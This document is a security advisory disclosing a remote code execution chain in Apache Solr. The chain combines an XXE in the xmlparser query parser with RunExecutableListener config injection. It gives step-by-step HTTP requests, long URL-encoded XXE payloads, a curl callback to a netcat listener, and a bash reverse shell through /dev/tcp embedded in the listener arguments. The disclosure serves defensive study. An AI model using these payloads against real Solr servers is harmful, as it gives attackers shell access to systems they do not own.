Parameters "exe", "args" and "dir" can be crafted throught the HTTP request during modification of the collection's config. This means that anybody who can send a HTTP request to Solr API is able to execute arbitrary shell commands when "postCommit" event is fired. It leads to execution of arbitrary remote code for a remote attacker.

Steps to reproduce:

Step 1. Create a new collection:

http://localhost:8983/solr/admin/collections?action=CREATE&name=newcollection&numShards=2

Step 2. Set up a listener on any port by using netcat command "nc -lv 4444"

Step 3. Add a new RunExecutableListener listener for the collection where "exe" attribute contents the name of running command ("/usr/bin/curl") and "args" attribute contents "http://localhost:4444/executed" value to make a request to the attacker's netcat listener:

POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json  
Content-Length: 198

{
  "add-listener" : {
    "event":"postCommit",
    "name":"newlistener",
    "class":"solr.RunExecutableListener",
    "exe":"curl",
    "dir":"/usr/bin/",
    "args":["http://localhost:4444/executed"]
  }
}

Step 4. Update "newcollection" to trigger execution of RunExecutableListener: 

POST /solr/newcollection/update HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json  
Content-Length: 19

[{"id":"test"}]

Step 5. You will see a request from the Solr server on your netcat listener. It proves that the curl command is executed on the server.


CVSS v2 base score: 10.0
(AV:N/AC:L/Au:N/C:C/I:C/A:C)

Summary:

By chaining these two vulnerabilities, an external attacker can achieve remote code execution even without direct access to the Solr server. The only requirement is that the attacker should be able to specify a part of query that comes to "q"
search parameter (which is a case for many web applications who use solr).

Lets say that we have an attacker who can only send search queries ("q" param) to a "/select" solr endpoint.
Here is the complete exploit scenario:

Step 1. Create New collection via XXE. This step may be skipped if the attacker already knows any collection name.

http://localhost:8983/solr/gettingstarted/select?q=%20%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%61%64%6d%69%6e%2f%63%6f%6c%6c%65%63%74%69%6f%6e%73%3f%61%63%74%69%6f%6e%3d%43%52%45%41%54%45%26%6e%61%6d%65%3d%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%26%6e%75%6d%53%68%61%72%64%73%3d%32%22%3e%3c%61%3e%3c%2f%61%3e%27%7d%20

Without URL encode:

http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/admin/collections?action=CREATE&name=newcollection&numShards=2"><a></a>'}

Step 2. Set up a netcat listener "nc -lv 4444"

Step 3. Add a new RunExecutableListener listener via XXE

http://localhost:8983/solr/newcollection/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%73%65%6c%65%63%74%3f%71%3d%78%78%78%26%71%74%3d%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%63%6f%6e%66%69%67%3f%73%74%72%65%61%6d%2e%62%6f%64%79%3d%25%32%35%37%62%25%32%35%32%32%25%32%35%36%31%25%32%35%36%34%25%32%35%36%34%25%32%35%32%64%25%32%35%36%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%33%61%25%32%35%37%62%25%32%35%32%32%25%32%35%36%35%25%32%35%37%36%25%32%35%36%35%25%32%35%36%65%25%32%35%37%34%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%30%25%32%35%36%66%25%32%35%37%33%25%32%35%37%34%25%32%35%34%33%25%32%35%36%66%25%32%35%36%64%25%32%35%36%64%25%32%35%36%39%25%32%35%37%34%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%65%25%32%35%36%31%25%32%35%36%64%25%32%35%36%35%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%36%65%25%32%35%36%35%25%32%35%37%37%25%32%35%36%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%33%25%32%35%36%63%25%32%35%36%31%25%32%35%37%33%25%32%35%37%33%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%33%25%32%35%36%66%25%32%35%36%63%25%32%35%37%32%25%32%35%32%65%25%32%35%35%32%25%32%35%37%35%25%32%35%36%65%25%32%35%34%35%25%32%35%37%38%25%32%35%36%35%25%32%35%36%33%25%32%35%37%35%25%32%35%37%34%25%32%35%36%31%25%32%35%36%32%25%32%35%36%63%25%32%35%36%35%25%32%35%34%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%35%25%32%35%37%38%25%32%35%36%35%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%34%25%32%35%36%39%25%32%35%37%32%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%32%66%25%32%35%36%32%25%32%35%36%39%25%32%35%36%65%25%32%35%32%66%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%31%25%32%35%37%32%25%32%35%36%37%25%32%35%37%33%25%32%35%32%32%25%32%35%33%61%25%32%35%35%62%25%32%35%32%32%25%32%35%32%64%25%32%35%36%33%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%34%25%32%35%34%30%25%32%35%37%63%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%65%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%35%25%32%35%36%33%25%32%35%36%38%25%32%35%36%66%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%66%25%32%35%36%32%25%32%35%36%39%25%32%35%36%65%25%32%35%32%66%25%32%35%36%32%25%32%35%36%31%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%64%25%32%35%36%39%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%33%65%25%32%35%32%36%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%66%25%32%35%36%34%25%32%35%36%35%25%32%35%37%36%25%32%35%32%66%25%32%35%37%34%25%32%35%36%33%25%32%35%37%30%25%32%35%32%66%25%32%35%33%31%25%32%35%33%32%25%32%35%33%37%25%32%35%32%65%25%32%35%33%30%25%32%35%32%65%25%32%35%33%30%25%32%35%32%65%25%32%35%33%31%25%32%35%32%66%25%32%35%33%31%25%32%35%33%32%25%32%35%33%33%25%32%35%33%34%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%33%30%25%32%35%33%65%25%32%35%32%36%25%32%35%33%31%25%32%35%32%32%25%32%35%35%64%25%32%35%37%64%25%32%35%37%64%26%73%68%61%72%64%73%3d%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%22%3e%3c%61%3e%3c%2f%61%3e%27%7d

Without URL encode:

http://localhost:8983/solr/newcollection/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/newcollection/select?q=xxx&qt=/solr/newcollection/config?stream.body={"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","/bin/bash","-i",">&","/dev/tcp/127.0.0.1/1234","0>&1"]}}&shards=localhost:8983/"><a></a>'}

As you may notice, in order to update the config we need to send a POST request to the application. But by using XXE vulnerability we can only send HTTP GET requests. There is a special trick is used here: If Solr receives "/select?q=123&qt=/xxx&shards=localhost:8983/" GET request, it actually converts it to POST and redirects this request to the shard specified in "shards" parameter. Which is also cool, it overwrites url query by the "qt" parameter, so we can convert it from "/select" to "/config". 
The result HTTP request that is landed to localhost:8983/ will be POST request with stream.body="our_value". That is exactly what we need in terms of exploitation.

Step 3. Update "newcollection" through XXE to trigger execution of RunExecutableListener

http://localhost:8983/solr/newcollection/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%75%70%64%61%74%65%3f%73%74%72%65%61%6d%2e%62%6f%64%79%3d%25%35%62%25%37%62%25%32%32%25%36%39%25%36%34%25%32%32%25%33%61%25%32%32%25%34%31%25%34%31%25%34%31%25%32%32%25%37%64%25%35%64%26%63%6f%6d%6d%69%74%3d%74%72%75%65%26%6f%76%65%72%77%72%69%74%65%3d%74%72%75%65%22%3e%3c%61%3e%3c%2f%61%3e%27%7d%20

Without URL encode:

http://localhost:8983/solr/newcollection/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/newcollection/update?stream.body=[{"id":"AAA"}]&commit=true&overwrite=true"><a></a>'} 

Step 5. When the "/bin/sh c $@|sh . echo /bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1" command is executed during update, a new shell session will be opened on the netcat listener. An attacker can execute any shell command on the server where Solr is running.


In all three requests Solr responds with different errors, but all of these error are happened after desired actions are executed.

All these vulnerabilities were tested on the latest version of Apache Solr with the default cloud config (bin/solr start -e cloud -noprompt)

These vulnerabilities were discovered by:
Michael Stepankin (JPMorgan Chase)
Olga Barinova (Gotham Digital Science)